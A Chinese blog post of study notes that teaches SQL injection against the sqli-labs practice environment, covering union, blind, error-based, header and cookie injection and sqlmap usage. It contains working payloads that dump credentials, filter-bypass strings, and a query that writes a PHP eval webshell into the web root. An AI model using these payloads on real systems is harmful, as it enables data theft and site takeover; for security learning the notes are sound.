[渗透测试]SQL注入

这是个笔记,没自己试过,就是涨姿势的。
很好的资料:
随笔分类 - sqli-labs通关详解
Sqli-labs 博客目录
渗透测试/黑客入门/漏洞学习视频教程

简单了解

1. 解释型语言&编译型语言
可参考什么是编译型语言和解释型语言

  • 解释型语言在运行时由运行时组件解释语言代码,并执行解释后的机器语言,边运行边执行。解释型语言中如果程序需要与用户交互,用户可以构造特殊的输入拼接到程序中执行,从而使程序依据用户的输入执行恶意行为的代码;(运行期间被动态编译和执行,跨平台性能好)
  • 编译型语言在生成代码时转换为机器语言文件,在运行时直接由使用该语言的计算机执行这些指令。(编译后可执行,运行速度快)源代码-->目标代码-->执行

SQL注入漏洞产生的前提:

  • 用户可控输入
  • 输入的内容与数据库交互
  • 服务器没有对输入进行严格的过滤

3. 下面是两个SQL注入的例子。
①例如,在登陆案例中,查询的SQL语句如下:

select * from admin where username='用户输入的用户名' and password='用户输入的密码'

如果在未过滤的情况下,直接将用户的输入拼接到SQL中进行查询,使用下面的SQL进行探测:'or 1=1 --空格(注意一定要有个空格),那么拼接后得到的SQL:

select * from admin where username=''or 1=1 --'and password='用户输入的密码'

or 1=1永远为真,--注释后的内容不再执行,SQL会返回admin表中的所有内容
万能密码测试:可以用burpsuite进行探测
②CMS SQL注入:
CMS的逻辑,假设index.php首页展示内容,具有文章列表(链接中由文章id),articles.php文件详细页,URL中article.php?id=文章id读取id文章,使用下面的SQL注入验证:
单引号'
and 1=1
and 1=2
如果页面中出现了MySQL报错,证明该页面存在SQL注入漏洞
Sqlmap是检测和利用SQL注入漏洞的强大工具

MySQL注入有关知识点

1. Mysql 5.x数据结构
默认定义了information_schema数据库,用来存储数据库的元信息,例如schemata数据库名、tables表名、columns列名或字段名
schemata表中,shcema_name字段存储数据库名
tables表中,table_schema和table_name分别用来存储数据库名和表名
columns表中,table_schema(数据库名)、table_name表名、column_name字段名
利用navicat for MySQL查看结构,以上三个表用来SQL注入之前获取表的数据

2. SQL增删改查
SELECT 列名 FROM 表名 WHERE 字段1=‘条件1’ AND 字段2=‘条件2’
INSERT INTO table_name (列1,列2,...) VALUES (值1,值2,...)
UPDATE 表名 SET 列名=新值 WHERE 列名=某值
DELETE FROM 表名 WHERE 列名=值

3. Mysql常用函数
聚合函数:
user()查看当前Mysql登陆用户名 select user()
database()查看当前使用Mysql数据库名 select database()
version()查看当前Mysql版本

limit关键字 分页 limit m,n 索引从0开始,从m,数n个

4. 注释
MySQL的注释方式有三种,
# 到该行结束
--空格 到该行结束(其中,空格如果被浏览器转义后是%20)
/**/ 多行注释
内联注释:/*!SQL语句*/ 只有Mysql可识别,常用来绕过WAF
例如select * from articles where id=id
内联注释注入:select * from articles where id=-1 /*!union*//*!select*/ 1,2,3,4

环境搭建:
Linux下使用kali linux
windows下安装phpStudy环境,sqlmap, github上的sqli-lab

GET基于报错的SQL注入

SQL注入的分类:

根据注入位置的数据类型分为数字型注入和字符型注入。

  • 数字型: 例如 select * from table where id = 用户输入id
  • 字符型:例如 select * from table where id = '用户输入id'

GET基于报错的SQL注入发现

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否存在注入点。

下面所示是根据报错的信息判断当前的SQL语句:

GET基于报错的SQL注入的利用

  • 利用order by判断字段数
  • 利用union select联合查询获取数据库名
0' union select 1,group_concat(table_schema),3 from information_schema.tables --+
  • 利用union select联合查询,获取表名(0可以写成-1等一定会报错的数字)
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  • 利用union select联合查询,获取字段名
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='上一步的表名' --+
  • 利用union select 联合查询,获取字段值
0' union select 1,group_concat(username,0x3a,password),3 from users--+

使用Sqlmap

  • 获取当前数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --current-db
# 结果为当前数据库名
  • 获取所有的数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --dbs
# 结果为所有的数据库名
  • 获取表名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security --tables
# 结果为 security 数据库的表名
  • 获取列名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users --columns
# 结果为 security 数据库的 users 表的列名
  • 获取数据
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users -C id --dump-all
# 结果为数据

不再显示错误的备注

盲注Blind SQL

盲注是注入攻击的一种,向数据库发送true或false的问题(例如在MySQL中插入if语句),并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示后端数据库执行SQL查询返回的错误信息。Blind SQL与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输入数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据。
盲注分为基于布尔型的盲注和基于时间的盲注

GET基于时间的 盲注

p.s. 可以使用left(database(),1)来对数据库的名字进行枚举(可以用二分法)

if(ascii(substr(database(),1,1)=115,0,sleep(3)))表示当数据库名第一个字母的ascii码不等于115时,执行一次sleep(3)函数等待3s。(在执行之前记得闭合)
substr(str,pos,num) :截取指定位置指定长度的字符串,简单说substr(*,1,1)就是第一位的一个字符长度。
利用BENCHMARK()进行延时注入,当结果正确时,运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次,会占用一段时间。

http://10.10.10.137/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115)*--*/,BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

参考自博客原创 基于GET的盲注

步骤1:爆数据库名——使用'进行SQL闭合后,使用and length(database())判断长度;枚举当前数据库名——盲注,使用IF和等待时间构造判断每一个字符/使用ascii码或者left函数判断每一个字符(如下)。

way1

#获取数据库名的长度
1"and length(database())=8--+
#猜测第一位
1"and left(database(),1)>'a'--+
#猜测第二位
1"and left(database(),2)>'sa'--+

way2

#除了上面的left,可以使用substr和ascii码尝试
1' and If(ascii(substr(database(),1,1)=115,0,sleep(3)))--+

步骤2:爆表名——基于时间的盲注or类似于上面的方式,其实也是枚举每一个字符
way1

#表的第一位
and ascii(substr((select table_name from information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
#表的第二个位置:
http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

way2

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='上一步获取的数据库名' limit 0,1),1,1))>105, 0,sleep(5)) --+

步骤3:爆字段名——类似于爆表名的方式
MID(column_name, start,length):从字段的指定开始位置提取指定长度的文本。
CAST(expression AS data_type):将某个表达式转换成指定的数据类型。
IFNULL(expression, alt_value):第一个表达式为NULL返回第二个参数值,不为NULL返回第一个表达式的值。
ORD(string):返回一个字符的ascii值。

#看看这个表中是否有us**的列
?id=1' and 1=(select 1 from information_schema.columns where table_name='上一步获取的表名' and table_name regexp '^us[a-z]' limit 0,1) --+
#下面是获取username这个字段的第一行的第一个字符的ascii,然后重复就行了
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

GET基于Boolean的盲注

基于布尔型的盲注,通常采用下面的方法:
length(database())或select length(database())
Select sunstr(database(),1,1)
Select ascii(substr(database(),1,1))
Select ascii(substr(database(),1,1))>N
Select ascii(substr(database(),1,1))=N
select(ascii(substr(databse(),1,1))<N

MySQL注入读写文件

MySQL注入读文件

读取前提:

  • 用户权限足够高,尽量具有root权限
  • secure_file_priv参数不为NULL
    查询show global variables like "secure_file_priv",默认值为NULL



    mysql读文件:select load_file(filename)
    再使用order by时前面不能报错,使用union时前面需要报错

MySQL注入写文件

下面是在网站中加入一句话木马,可以使用中国菜刀获取和控制整个网站目录。

1'))UNION SELECT 1,2,'<?php @eval($_post[?mima?])?>' into outfile "/var/www/sqli-labs/Less-7/yijuhua.php"--

Sqlmap安全测试

Sqlmap -hh查看详细的帮助信息

POST基于错误的注入

burpsuit抓取HTTP请求

需要安装java

POST基于错误单引号注入

例如原SQL是select uname, passwd from user where uname='XXX' and passwd='xxx'
当我输入的uname为admin\时,反斜杠+'会将其转义,也就变成了以下SQL:
select uname, passwd from user where uname='admin' and passwd='xxx'
上面的第一个'会和passwd='的这个'进行闭合,那么会在密码处出现123456'这样的错误

POST基于错误双引号注入

Sqlmap安全测试

复制截断的HTTP请求数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数

GET报错注入

报错注入介绍

报错注入形式上是两个嵌套的查询,即select...(select ...),里面的那个select称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值,当给定seed种子时每次都能出现固定的数。通过使用SELECT * FROM employee_tbl ORDER BY RAND();对一组记录随机进行初始化排列。

floor(a)取整函数,返回小于等于a,且值最接近a的一个整数,用法参考https://www.cnblogs.com/-zhong/p/10892439.html
count()聚合函数也称作计数函数,返回查询对象的总数
Group by clause分组语句,按照查询结果分组通过报错来显示出具体的信息。
例如,SQL语句为select count() from table group by floor(rand(0)2)

GET单引号报错注入

lesson-9

SQL注入绕过手段

大小写绕过

如果程序中设置了过滤关键字,但是这种过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and过滤。当然这种过滤知识发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施,例如 AnD 1=1
例如在探测当前表的字段过程中,常使用order by数字进行探测,如果过滤了order关键字,可以使用OrdER来进行绕过。

双写绕过

如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过了过程中只进行了以此替换,就是将关键字替换为对应的空。
例如,过滤了union,将其替换为空;那么在注入过程可以使用UniunioNon这样的方式绕过过滤机制。

编码绕过

可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。

内联注释绕过

MySQL中的内联注释可以被当成SQL语句执行

POST基于时间和布尔的注入

HTTP POST

POST发送数据给服务器处理,数据包含在HTTP信息正文中;POST请求会像指定资源提交数据,请求服务器进行处理,例如:表单数据提交、文件上传等,请求数据会被包含在请求体中。POST方法可能会创建新的资源或修改现有资源。使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器。

POST基于时间的注入

若存在注入点POST提交的参数后加and (select if(length(database()>5,sleep(5),null)),如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行

POST基于布尔的盲注

若存在注入点POST提交的参数后加入if判断正确或错误的语句。
select length(database())
Select substr(database(),1,1)
Select ascii(substr(database(),1,1));
Select ascii(substr(database(),1,1))>N;
Select ascii(substr(database(),1,1))<N;
Select ascii(substr(database(),1,1))=N;

sqlmap安全测试

指定探测技术使用-technique T(time) B(boolean)


HTTP头中的SQL注入

HTTP头中的注入介绍

为防止漏洞和SQL注入的发生,用户提交的参数都会被代码中的某些措施进行过滤。
但HTTP头中提交的内容很有可能没有过滤。可能存在HTTP头注入的参数有User-Agent(客户使用的操作系统、浏览器版本等), cookie, X-forward-For(HTTP请求端真实的IP,在有反向代理服务器的情况下,一般是nginx将IP地址写入,但XFF头部可修改), Client-IP, Rerferer(浏览器向WEB服务器表明自己是从哪个页面链接过来的), Host(客户端指定自己想访问的WEB服务器的域名/IP地址和端口号)等。

HTTP User-Agent注入

例如payload 在此处写

way1
' and undatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'=1'
#way2 好像低版本的MySQL不支持这个函数
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1

sqlmap安全测试

好像需要在文件中要探测的地方后面加*

POST update语句注入

Mysql upadate介绍

Update table_name set filed1=new_value1 where clause

过滤内容介绍

Mysql update注入

类似于上面的,uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit

sqlmap安全测试

Sqlmap -r target.txt -p password

Cookie注入

cookie介绍

服务器利用cookie的信息来筛选和维护信息,以判断在HTTP传输中的状态。常见的是判断用户的登陆状态和“购物车”的处理。
console台输入document.cookie可以查看对应的cookie

cookie注入代码分析

代码中使用cookie传递参数,但没有对cookie中传递的参数进行过滤操作,可能会导致SQL注入漏洞的产生

cookie注入利用

代码中一般是需要登陆上之后,再将这次登陆的cookie存储在数据中,下次再登陆就会从数据库查询存不存在这个cookie

sqlmap

Sqlmap -r target.txt --level 3 --batch,需要在文件对应的位置加*

Cookie base64编码的注入

一种加密方式,从二进制到字符,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8bit字节码的编码方式之一,base64就是一种基于64个可打印字符来表示二进制数据的方法。编码过程如下:
将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。编码规则:1⃣️把三个字符变成4个字符。2⃣️每76个字符加一个换行符3⃣️最后的结束符也要处理。

lesson21中在cookie的基础上进行了base64的加密,select时再对其进行解密,与原来的值进行比较,因此注入的时候,可以将我们的SQL语句闭合之后注入,再手动加密(参见https://tool.oschina.net/encrypt?type=3这个网址),将加密后的替代cookie爆数据库。例如

') union select 1,2,3#
===>将其进行base64编码后得到:
dGhpcyBpcyBhIGV4YW1wbGUnKSB1bmlvbiBzZWxlY3QgMSwyLDMj
👆将这个替换到原来的cookie

Sqlmap

Python sqlmap.py -r target.txt --level 3 --batch --temper base64encode.py
如果不加temper的参数,会探测不到可注入的地方

绕过去除注释符的SQL注入

PHP中可以过滤掉注释符:
preg_replace(mixed pattern, mixedreplacement, mixed subject):执行一个正则表达式的搜索和替换。pattern:要搜索的模式,可以是字符串或一个字符串数组。
replacement:用于替换的字符串或字符串数组subject:要搜索替换的目标字符串或字符串数组
如果PHP代码中设置了过滤#和--这种注释,可以用or '1'='1闭合

绕过过滤and和or的SQL注入

Mysql特性:大小写不敏感,会经过十六进制和URL编码,符号和关键字替换,例如and=&&,or=||,内联注释和多行注释。
lesson25 绕过策略:

  • 如果PHP中代码没有忽视大小写,那么可以尝试大小写变形来看有没有存在注入。
  • 在敏感词汇中添加注释,例如a/**/nd,或者使用双写绕过oorr
  • 利用符号代替-and和&&,or和||
    Sqlmap -u "URL" --dbs --batch

绕过剔除空格的SQL注入

Lesson 26空格过滤绕过策略:
hex, urlencode空格URL编码,%0a回车,%0c新的一页,%0d return功能,%0b TAB键(垂直)
比如说用1'%0a||'1可以表示1' or'1

1%27union%0bselect%a01,2,3||%271
等价于
1'union select 1,2,3 or'1

Sqlmap -u "URL" --hex --dbs --batch

绕过去除union和select的SQL注入

可以对其使用双写绕过和分别大小写
例如

?id=1000%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271
意思是
?id=1000'  union select 1,2,3 or '1

宽字节SQL注入

GBK占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集
注入思路:

  • 用%DF将'前面添加的\吃掉:会被PHP当中的addslashes函数转义为"%DF'",\即URL里的%5C,那么也就是说,%DF'会被转为%DF%5C%27,倘若网站的字符集为GBK,MYSQL使用的编码也是GBK,就会认为%DF%5C是一个宽字符,即缞’
?id=-1%df%27union select 1,user(),3--+
  • 将 ' 中的 \ 吃掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。
    Sqlmap -u "URL?id=1%df%27" --search --level 3 --risk 1 --thread 10

    Sqlmap -u "http://url/?id=1" --tamper=unmagicquotes.py

二次注入

二次注入指:输入中包含了黑客构造的SQL语句,尽管输入传递给服务端会进行转义并在数据库中进行存储,但转义字符不会插入到数据库中,当再次从数据库中取出这个字符时可能会产生注入的一种情况。可参考https://www.cnblogs.com/-zhong/p/10935060.html

自动化审计

漏洞验证POC

sqlmap更新参数

-purge 以安全模式删除所有sqlmap数据目录

要求是xpath格式字符串,而我们输入的并不是。所以报错。

堆叠注入

其实就是在;后再写一条SQL语句,例如向数据表中插入一条数据:

`?id=1';insert  into  users(id,username,password) values ('38','less38','hello')-- `
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容

  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,039评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,281评论 2 22
  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,579评论 0 1
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,266评论 0 5
  • 1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最...
    打伞De鱼666阅读 1,439评论 0 7